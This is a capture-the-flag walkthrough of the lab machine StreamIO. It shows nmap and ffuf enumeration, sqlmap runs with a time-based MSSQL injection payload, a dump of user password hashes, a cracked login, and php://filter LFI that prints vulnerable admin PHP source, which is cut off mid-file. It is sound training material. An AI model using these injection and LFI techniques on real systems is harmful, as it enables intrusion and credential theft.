This machine is labeled "medium," but it was much harder for me than Talkative, which is a "hard" machine, because of a heavy amount of enumeration and a Windows privilege escalation technique I was not aware of previously.
Nmap shows two virtual hosts from an SSL certificate: streamIO.htb and watch.streamIO.htb. After a lot of directory bruteforcing, we find an admin directory (https://streamio.htb/admin), a php file that can only be used with includes (https://streamio.htb/admin/master.php), and a search page (https://watch.streamio.htb/search.php). sqlmap reveals that both the username field to login to https://streamio.htb and the search bar on the search page are vulnerable to "Microsoft SQL Server/Sybase stacked queries (comment)." This is a time-based injection. We slowly map out the databases and tables and then dump the users table over the course of more than 5 hours (time-based injection can only get about 1 character every 2-6 seconds). Using CrackStation, we crack several passwords and find credentials that log us into https://streamio.htb.
Once signed in, we have access to the previous found admin page. We fuzz URL parameters and find a debug parameter. Then, we fuzz values for the debug parameter and discover it is vulnerable to LFI. We use PHP filter URIs to get the contents of index.php and the previously fuzzed master.php. This gives us the password for the db_admin user, which we will use later. Setting the debug GET parameter of index.php to master.php means we can load functionality in master.php, which just so happens to get the file contents of the POST parameter include and pass it to eval. Therefore, we get a Meterpreter reverse shell by loading a file via HTTP from our machine that downloads and runs a Metasploit reverse shell payload via a call to PHP's system function.
Once on the box, we use WinPEAS and realize that MS SQL is running on port 1433. We forward that port to our attacker machine using the Meterpreter's portfwd function. Then, we use impacket's mssqlclient.py to connect to the database using the previously found credentials and we dump the tables we were unable to dump before. This gives us a crackable hash of nikk37's password. Then, we use evil-winrm to authenticate as nikk37.
Once we've moved laterally to the nikk37 user, we run WinPEAS again and find a Firefox credential database. We extract the credentials using firepwd. Then, we use crackmapexec to check if any credentials we have are valid. We have valid credentials for the JDgodd user.
We cannot connect remotely as JDgodd. So, we scan the machine using SharpHound and BloodHound. We learn that the JDgodd user has WriteOwner permissions on the CORE_STAFF group, and that group has the ability to read the LAPS password. So, from nikk37's shell we use JDgodd's credentials to 1) make JDgodd the owner of CORE_STAFF, 2) give JDgodd all permissions on CORE_STAFF (since he is the owner), and 3) make JDgodd a member of CORE_STAFF. Finally, we simply read the LAPS password with JDgodd's credentials and using evil-winrm to authenticate as the Administrator.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.158 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.158.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-29 08:59:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-29T09:01:27+00:00; +6h59m52s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
50127/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-07-29T09:00:51
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m52s, deviation: 0s, median: 6h59m51s
Let's add the streamIO.htb and watch.streamIO.htb domains (found in the SSL cert from nmap) to /etc/hosts: echo "10.10.11.158 streamIO.htb\n10.10.11.158 watch.streamIO.htb" | sudo tee -a /etc/hosts.
Virtual Host Scanning
Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" -fs 703:
This only finds the other virtual host we already knew about.
Directory bruteforcing
Bruteforcing for directories on streamIO.htb port 80 via ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://streamio.htb/FUZZ reveals nothing. Nothing is found on http://watch.streamIO.htb either.
Navigating to the pages themselves just shows a default Windows Server page. However, going to the https versions on port 443 shows valid webpages.
The https://watch.streamio.htb/search.php page is interesting:
Let's look back at that /admin directory. The fact that a directory says "FORBIDDEN" instead of the usual 404 page is strange, so let's fuzz for files in the /admin directory by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/FUZZ.php:
The https://streamio.htb/admin/master.php page is new:
SQL Injection
On https://streamio.htb we can register, so let's do that and create an account:
Clicking the login link at the bottom of the sign up page causes a redirect to https://streamio.htb/user-login.html, which 404s. Going to the login page on the home page (https://streamio.htb/login.php) works and we attempt to sign in, but we are told "Login failed." So, there is probably some issue with the login logic. Let's see if it is vulnerable to SQL injection with sqlmap (very helpful documentation, HackTricks page).
Run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent:
[22:55:50] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[22:55:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=td5scf51tu8...7prl49rala'). Do you want to use those [Y/n] y
[22:55:53] [INFO] testing if the target URL content is stable
[22:55:53] [INFO] target URL content is stable
[22:55:53] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[22:55:54] [INFO] testing for SQL injection on POST parameter 'username'
[22:55:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:55:55] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:55:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:55:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:55:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:56:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:56:01] [INFO] testing 'Generic inline queries'
[22:56:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:56:02] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[22:56:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:56:14] [INFO] POST parameter 'username' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is 'Microsoft SQL Server/Sybase'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server/Sybase' extending provided level (1) and risk (1) values? [Y/n] y
[22:56:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:56:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:57:05] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[22:57:27] [INFO] testing Microsoft SQL Server
[22:57:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
y
[23:07:14] [INFO] confirming Microsoft SQL Server
[23:07:14] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[23:07:14] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[23:07:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, PHP, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:07:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
So, the username parameter is injectable. Let's list the tables in each database by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent --tables:
[23:10:35] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:10:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:10:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=78oltq18qn0...7lqrlic51f'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:10:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 2019 or 10
web application technology: PHP, Microsoft IIS 10.0, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:10:37] [INFO] fetching database names
[23:10:37] [INFO] fetching number of databases
[23:10:37] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:10:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[23:11:06] [INFO] adjusting time delay to 2 seconds due to good response times
6
[23:11:07] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:11:24] [INFO] adjusting time delay to 1 second due to good response times
model
[23:11:49] [INFO] retrieved: msdb
[23:12:11] [INFO] retrieved: STREAMIO
[23:12:54] [INFO] retrieved:
[23:13:00] [ERROR] invalid character detected. retrying..
[23:13:00] [WARNING] increasing time delay to 2 seconds
streamio_b
[23:14:34] [ERROR] invalid character detected. retrying..
[23:14:34] [WARNING] increasing time delay to 3 seconds
ackup
[23:15:28] [INFO] retrieved: tempdb
[23:16:43] [INFO] retrieved:
[23:16:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[23:16:43] [INFO] fetching tables for databases: STREAMIO, model, msdb, streamio_backup, tempdb
[23:16:43] [INFO] fetching number of tables for database 'STREAMIO'
[23:16:43] [INFO] retrieved: 2
[23:16:52] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.movies
[23:19:09] [INFO] retrieved: dbo.users
[23:20:21] [INFO] fetching number of tables for database 'streamio_backup'
[23:20:21] [INFO] retrieved:
[23:20:22] [INFO] retrieved: 0
[23:20:31] [INFO] fetching number of tables for database 'msdb'
[23:20:31] [INFO] retrieved: 23
[23:20:50] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.autoadmin_backup_confi^C
I kill the command after many minutes because this is a time-based exploit so each character takes about 2-3 seconds to come through.
Note that we cannot access the streamio_backup database. Trying to run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D streamio_backup --tables --batch errors out with [CRITICAL] unable to retrieve the tables for any database.
Importantly, the STREAMIO database has two tables: movies and users. Let's try to get some user credentials. First, let's retrieve the columns using sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users --columns:
[23:29:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:29:05] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:29:05] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=265sug9q54k...nt0lfv9a71'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:29:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 2016 or 10
web application technology: Microsoft IIS 10.0, PHP 7.2.26, PHP
back-end DBMS: Microsoft SQL Server 2019
[23:29:07] [INFO] fetching columns for table 'users' in database 'STREAMIO'
[23:29:07] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:29:36] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[23:29:38] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:29:58] [INFO] adjusting time delay to 2 seconds due to good response times
id
[23:30:11] [INFO] retrieved: int
[23:30:42] [INFO] retrieved: is_staff
[23:31:59] [INFO] retrieved: bit
[23:32:29] [INFO] retrieved: pas
[23:33:06] [ERROR] invalid character detected. retrying..
[23:33:06] [WARNING] increasing time delay to 3 seconds
sword
[23:34:10] [INFO] retrieved: nchar
[23:35:08] [INFO] retrieved: user
[23:36:04] [ERROR] invalid character detected. retrying..
[23:36:04] [WARNING] increasing time delay to 4 seconds
[23:36:24] [ERROR] invalid character detected. retrying..
[23:36:24] [WARNING] increasing time delay to 5 seconds
name
[23:37:25] [INFO] retrieved: nchar
Database: STREAMIO
Table: users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | int |
| is_staff | bit\x02 |
| password | nchar |
| username | nchar |
+----------+---------+
[23:38:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
Now, we can grab a user from the users table in the STREAMIO database. Since is_staff is a bit, let's get all the user's usernames and passwords where is_staff=1 by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump. This command just continuously outputs [23:49:35] [INFO] retrieved: without any data. However, sqlmap suggested the following:
[23:49:26] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting'
Sure enough, rerunning with --force-pivoting seems to fix the problem:
$ sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump --force-pivoting
[23:50:32] [INFO] fetching number of column(s) 'id,is_staff,password,username' entries for table 'users' in database 'STREAMIO'
[23:50:32] [INFO] resumed: 29
[23:50:32] [INFO] fetching number of distinct values for column 'id'
[23:50:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[23:50:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[23:51:01] [INFO] adjusting time delay to 2 seconds due to good response times
9
[23:51:07] [INFO] using column 'id' as a pivot for retrieving row data
[23:51:07] [INFO] retrieved: 10
[23:51:19] [INFO] retrieved: 1
[23:51:27] [INFO] retrieved: 3577c47eb1e12c8ba021611e1280753c
[00:00:16] [INFO] retrieved: Tha
[00:00:54] [ERROR] invalid character detected. retrying..
[00:00:54] [WARNING] increasing time delay to 3 seconds
ne
[00:17:18] [INFO] retrieved: 11
[00:17:35] [INFO] retrieved: 1
[00:17:44] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[00:30:54] [INFO] retrieved: C^C
[00:31:04] [WARNING] user aborted during enumeration. sqlmap will display partial output
Database: STREAMIO
Table: users
[1 entry]
+----+----------+----------------------------------------------------+----------------------------------------------------+
| id | is_staff | password | username |
+----+----------+----------------------------------------------------+----------------------------------------------------+
| 10 | 1 | 3577c47eb1e12c8ba021611e1280753c | Thane |
+----+----------+----------------------------------------------------+----------------------------------------------------+
This attack takes a long time. We can crack Thane's password hash using CrackStation, but signing in as this user doesn't work. There are multiple users so we could try them all, but the SQL injection is going to take a long time. Since it will take a long time we run with --level 5 --risk 3 to scan for potential other methods:
However, we only get time-based methods so that's unfortunate. Additionally, the search parameter on https://watch.streamio.htb/search.php is also injectable, but it too is a time-based injection:
---
Parameter: q (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=a%' AND 1154=1154 AND 'rteQ%'='rteQ
---
$ for i in 1 2 3 4 5; do sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,username,password --where "is_staff=1" --dump --force-pivoting --batch --pivot-column id && break || sleep 15; done
[02:04:52] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[02:04:53] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:04:53] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=pspmg1umdmo...j1q4ij1spi'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[02:04:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: PHP 7.2.26, Microsoft IIS 10.0, PHP
back-end DBMS: Microsoft SQL Server 2019
[02:04:53] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] resumed: 29
[02:04:53] [INFO] using column 'id' as a pivot for retrieving row data
[02:04:53] [INFO] resumed: 10
[02:04:53] [INFO] resuming partial value: 3
[02:04:53] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[02:04:58] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:05:14] [INFO] adjusting time delay to 1 second due to good response times
577c47eb1e12c8ba021611e1280753c
[02:09:51] [INFO] retrieved: Thane
[02:16:09] [INFO] retrieved: 11
[02:16:17] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[02:21:24] [INFO] retrieved: Carmon
[02:27:39] [INFO] retrieved: 12
[02:27:47] [INFO] retrieved: 54c88b2dbd7b1a84012fabc1a4c73415
[02:32:35] [INFO] retrieved: Barry
[02:38:50] [INFO] retrieved: 13
[02:38:59] [INFO] retrieved: fd78db29173a5cf701bd69027cb9bf6b
[02:43:53] [INFO] retrieved: Oliver
[02:50:13] [INFO] retrieved: 14
[02:50:23] [INFO] retrieved: b83439b16f844bd6ffe35c02fe21b3c0
[02:55:35] [INFO] retrieved: Michelle
[03:01:45] [INFO] retrieved: 15
[03:01:52] [INFO] retrieved: 0cfaaaafb559f081df2befbe66686de0
[03:06:48] [INFO] retrieved: Gloria
[03:13:03] [INFO] retrieved: 16
[03:13:11] [INFO] retrieved: b22abb47a02b52d5dfa27fb0b534f693
[03:18:20] [INFO] retrieved: Victoria
[03:24:28] [INFO] retrieved: 17
[03:24:36] [INFO] retrieved: 1c2b3d8270321140e5153f6637d3ee53
[03:29:29] [INFO] retrieved: Alexendra
[03:35:34] [INFO] retrieved: 18
[03:35:44] [INFO] retrieved: 22ee218331afd081b0dcd8115284bae3
[03:40:40] [INFO] retrieved: Baxter
[03:46:56] [INFO] retrieved: 19
[03:47:07] [INFO] retrieved: ef8f3d30a856cf166fb8215aca93e9ff
[03:52:08] [INFO] retrieved: Clara
[03:58:25] [INFO] retrieved: 20
[03:58:32] [INFO] retrieved: 3961548825e3e21df5646cafe11c6c76
[04:03:26] [INFO] retrieved: Barbra
[04:09:38] [INFO] retrieved: 21
[04:09:46] [INFO] retrieved: ee0b8a0937abd60c2882eacb2f8dc49f
[04:14:58] [INFO] retrieved: Lenord
[04:21:17] [INFO] retrieved: 22
[04:21:25] [INFO] retrieved: 0049ac57646627b8d7aeaccf8b6a936f
[04:26:29] [INFO] retrieved: Austin
[04:32:55] [INFO] retrieved: 23
[04:33:05] [INFO] retrieved: 8097cedd612cc37c29
[04:34:37] [ERROR] invalid character detected. retrying..
[04:34:37] [WARNING] increasing time delay to 2 seconds
db152b6e9edbd3
[04:40:37] [INFO] retrieved: Garfield
[04:51:20] [INFO] retrieved: 24
[04:51:38] [INFO] retrieved: 6dcd87740abb64edf
[04:54:01] [INFO] adjusting time delay to 1 second due to good response times
a36d170f0d5450d
[04:57:34] [INFO] retrieved: Juliette
[05:03:43] [INFO] retrieved: 25
[05:03:52] [INFO] retrieved: bf55e15b119860a6e6b5a164377da719
[05:08:48] [INFO] retrieved: Victor
[05:15:07] [INFO] retrieved: 26
[05:15:16] [INFO] retrieved: 7df45a9e3de3863807c026ba48e55fb3
[05:20:25] [INFO] retrieved: Lucifer
[05:26:37] [INFO] retrieved: 27
[05:26:46] [INFO] retrieved: 2a4e2cf22dd8fcb45adcb91be1e22ae8
[05:31:40] [INFO] retrieved: Bruno
[05:38:02] [INFO] retrieved: 28
[05:38:13] [INFO] retrieved: ec33265e5fc8c2f1b0c137bb7b3632b5
[05:43:08] [INFO] retrieved: Diablo
[05:49:24] [INFO] retrieved: 29
[05:49:36] [INFO] retrieved: dc332fb5576e9631c9dae83f194f8e70
[05:54:38] [INFO] retrieved: Robin
[06:00:59] [INFO] retrieved: 3
[06:01:04] [INFO] retrieved: c660060492d9edcaa8332d89c99c9239
[06:06:03] [INFO] retrieved: James
[06:12:20] [INFO] retrieved: 30
[06:12:27] [INFO] retrieved: 384463526d288edcc95fc3701e523bc7
[06:17:20] [INFO] retrieved: Stan
[06:23:45] [INFO] retrieved: 31
[06:23:53] [INFO] retrieved: b779ba15cedfd22a023c4d8bcf5f2332
[06:28:47] [INFO] retrieved: yoshihide
[06:34:55] [INFO] retrieved: 4
[06:35:01] [INFO] retrieved: 925e5408ecb67aea449373d668b7359e
[06:40:02] [INFO] retrieved: Theodore
[06:46:15] [INFO] retrieved: 5
[06:46:20] [INFO] retrieved: 083ffae904143c4796e464dac33c1f7d
[06:51:20] [INFO] retrieved: Samantha
[06:57:26] [INFO] retrieved: 6
[06:57:32] [INFO] retrieved: 08344b85b329d7efd611b7a7743e8a09
[07:02:47] [INFO] retrieved: Lauren
[07:09:04] [INFO] retrieved: 7
[07:09:10] [INFO] retrieved: d62be0dc82071bccc1322d64ec5b6c51
[07:14:01] [INFO] retrieved: William
[07:20:13] [INFO] retrieved: 8
[07:20:20] [INFO] retrieved: f87d3c0d6c8fd686aacc6627f1f493a5
[07:25:36] [INFO] retrieved: Sabrina
[07:31:45] [INFO] retrieved: 9
[07:31:50] [INFO] retrieved: f03b910e2bd0313a23fdd7575f34a694
[07:37:06] [INFO] retrieved: Robert
Database: STREAMIO
Table: users
[29 entries]
+----+-----------+----------------------------------+
| id | username | password |
+----+-----------+----------------------------------+
| 10 | Thane | 3577c47eb1e12c8ba021611e1280753c |
| 11 | Carmon | 35394484d89fcfdb3c5e447fe749d213 |
| 12 | Barry | 54c88b2dbd7b1a84012fabc1a4c73415 |
| 13 | Oliver | fd78db29173a5cf701bd69027cb9bf6b |
| 14 | Michelle | b83439b16f844bd6ffe35c02fe21b3c0 |
| 15 | Gloria | 0cfaaaafb559f081df2befbe66686de0 |
| 16 | Victoria | b22abb47a02b52d5dfa27fb0b534f693 |
| 17 | Alexendra | 1c2b3d8270321140e5153f6637d3ee53 |
| 18 | Baxter | 22ee218331afd081b0dcd8115284bae3 |
| 19 | Clara | ef8f3d30a856cf166fb8215aca93e9ff |
| 20 | Barbra | 3961548825e3e21df5646cafe11c6c76 |
| 21 | Lenord | ee0b8a0937abd60c2882eacb2f8dc49f |
| 22 | Austin | 0049ac57646627b8d7aeaccf8b6a936f |
| 23 | Garfield | 8097cedd612cc37c29db152b6e9edbd3 |
| 24 | Juliette | 6dcd87740abb64edfa36d170f0d5450d |
| 25 | Victor | bf55e15b119860a6e6b5a164377da719 |
| 26 | Lucifer | 7df45a9e3de3863807c026ba48e55fb3 |
| 27 | Bruno | 2a4e2cf22dd8fcb45adcb91be1e22ae8 |
| 28 | Diablo | ec33265e5fc8c2f1b0c137bb7b3632b5 |
| 29 | Robin | dc332fb5576e9631c9dae83f194f8e70 |
| 3 | James | c660060492d9edcaa8332d89c99c9239 |
| 30 | Stan | 384463526d288edcc95fc3701e523bc7 |
| 31 | yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 |
| 4 | Theodore | 925e5408ecb67aea449373d668b7359e |
| 5 | Samantha | 083ffae904143c4796e464dac33c1f7d |
| 6 | Lauren | 08344b85b329d7efd611b7a7743e8a09 |
| 7 | William | d62be0dc82071bccc1322d64ec5b6c51 |
| 8 | Sabrina | f87d3c0d6c8fd686aacc6627f1f493a5 |
| 9 | Robert | f03b910e2bd0313a23fdd7575f34a694 |
+----+-----------+----------------------------------+
As you can see, this takes 5 hours, 32 minutes, and 13 seconds to run, so there is likely a faster way. Cracking the passwords with CrackStation finds the following (user's not shown could not be cracked with CrackStation):
Out of these, the only login that works is yoshihide:66boysandgirls...
Admin Panel
We are redirected to the home page, but since we know the adddress of the admin page (https://streamio.htb/admin/index.php), let's go there:
Clicking the links at the top changes parameter in the URL. For instance, in the screenshot above, the URL is https://streamio.htb/admin/index.php?staff= for the staff list. For "Movie management" the URL is https://streamio.htb/admin/index.php?movie= and for "User management" the URL is https://streamio.htb/admin/index.php?user=.
Let's fuzz this parameter by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/index.php\?FUZZ\= -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1678. We are specifying the PHPSESSID cookie because we need an authenticated session to access the admin page.
Going to https://streamio.htb/admin/index.php?debug= says "this option is for developers only." We fuzz for a LFI exploit by running ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u https://streamio.htb/admin/index.php\?debug\=FUZZ -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1712:
So, we found an LFI exploit on a URL parameter in a PHP application. We can use PHP filter URIs to get file contents by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php (we know of master.php from fuzzing earlier, more info from HackTricks about PHP filters). Then, just base64 decode the data:
<h1>Movie managment</h1><?phpif(!defined('included'))die("Only accessable through includes");if(isset($_POST['movie_id'])){$query ="delete from movies where id = ".$_POST['movie_id'];$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));}$query ="select * from movies order by movie";$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));while($row =sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)){?><div><div class="form-control" style="height: 3rem;"><h4 style="float:left;"><?php echo $row['movie']; ?></h4><div style="float:right;padding-right: 25px;"><form method="POST" action="?movie="><input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>"><input type="submit"class="btn btn-sm btn-primary" value="Delete"></form></div></div></div><?php} # while end?><br><hr><br><h1>Staff managment</h1><?phpif(!defined('included'))die("Only accessable through includes");$query ="select * from users where is_staff = 1 ";$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));if(isset($_POST['staff_id'])){?><div class="alert alert-success"> Message sent to administrator</div><?php}$query ="select * from users where is_staff = 1";$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));while($row =sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)){?><div><div class="form-control" style="height: 3rem;"><h4 style="float:left;"><?php echo $row['username']; ?></h4><div style="float:right;padding-right: 25px;"><form method="POST"><input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>"><input type="submit"class="btn btn-sm btn-primary" value="Delete"></form></div></div></div><?php} # while end?><br><hr><br><h1>User managment</h1><?phpif(!defined('included'))die("Only accessable through includes");if(isset($_POST['user_id'])){$query ="delete from users where is_staff = 0 and id = ".$_POST['user_id'];$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));}$query ="select * from users where is_staff = 0";$res =sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));while($row =sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)){?><div><div class="form-control" style="height: 3rem;"><h4 style="float:left;"><?php echo $row['username']; ?></h4><div style="float:right;padding-right: 25px;"><form method="POST"><input type="hidden" name="user_id" value="<?php echo $row['id']; ?>"><input type="submit"class="btn btn-sm btn-primary" 